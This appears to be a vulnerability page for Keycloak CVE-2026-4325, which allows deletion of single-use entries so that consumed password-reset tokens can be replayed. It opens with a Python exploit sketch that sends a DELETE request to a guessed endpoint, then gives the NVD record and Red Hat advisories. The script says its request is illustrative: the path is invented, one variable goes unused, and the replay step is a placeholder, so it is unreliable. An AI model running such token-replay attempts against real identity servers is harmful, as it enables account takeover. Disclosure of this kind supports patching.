CVE-2026-4325

import requests # Conceptual PoC for CVE-2026-4325 # Demonstrates the deletion of a SingleUseObject entry to allow token replay. target_host = "http://target-keycloak" # The specific endpoint for SingleUseObjectProvider manipulation may vary by version. # This assumes an endpoint where the ID can be targeted due to lack of namespace isolation. vulnerable_endpoint = f"{target_host}/auth/realms/master/protocol/openid-connect/logout" # Example ID of a single-use token (e.g. password reset token) that has already been consumed token_id = "5f8a2b1c-..." headers = { "User-Agent": "PoC-Scanner/1.0", "Accept": "application/json" } try: print(f"[*] Attempting to delete consumed token entry: {token_id}") # In a real exploit, the attacker crafts a request that triggers the deletion # of the entry in the SingleUseObjectProvider key-value store. # This request structure is illustrative based on the vulnerability description. response = requests.delete(f"{target_host}/realms/master/single-use-objects/{token_id}", headers=headers) if response.status_code == 204: print("[+] Entry deleted successfully. Token replay may now be possible.") print("[+] Attempting to replay the token...") # Replay logic would go here (e.g., using the token to reset password) else: print(f"[-] Deletion failed. Status: {response.status_code}") except Exception as e: print(f"Error occurred: {e}")

{"cve": {"id": "CVE-2026-4325", "sourceIdentifier": "[email protected]", "published": "2026-04-02T13:16:26.863", "lastModified": "2026-04-16T20:51:22.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. The SingleUseObjectProvider, a global key-value store, lacks proper type and namespace isolation. This vulnerability allows an attacker to delete arbitrary single-use entries, which can enable the replay of consumed action tokens, such as password reset links. This could lead to unauthorized access or account compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-653"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:text-only:*:*:*", "matchCriteriaId": "1830E455-7E11-4264-862D-05971A42D4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2:*:*:*:text-only:*:*:*", "matchCriteriaId": "C339EBE3-6BFD-4082-B904-4E8DB87AAE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2.15:*:*:*:text-only:*:*:*", "matchCriteriaId": "3BDF8A92-727E-401B-80BB-A141DCB39750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4:*:*:*:text-only:*:*:*", "matchCriteriaId": "100AA077-7467-4F62-A8FD-88BC336972DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4.11:*:*:*:text-only:*:*:*", "matchCriteriaId": "17E79930-BE1C-4901-AF63-36B3EB149AFC"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6475", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6476", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4325", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448351", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}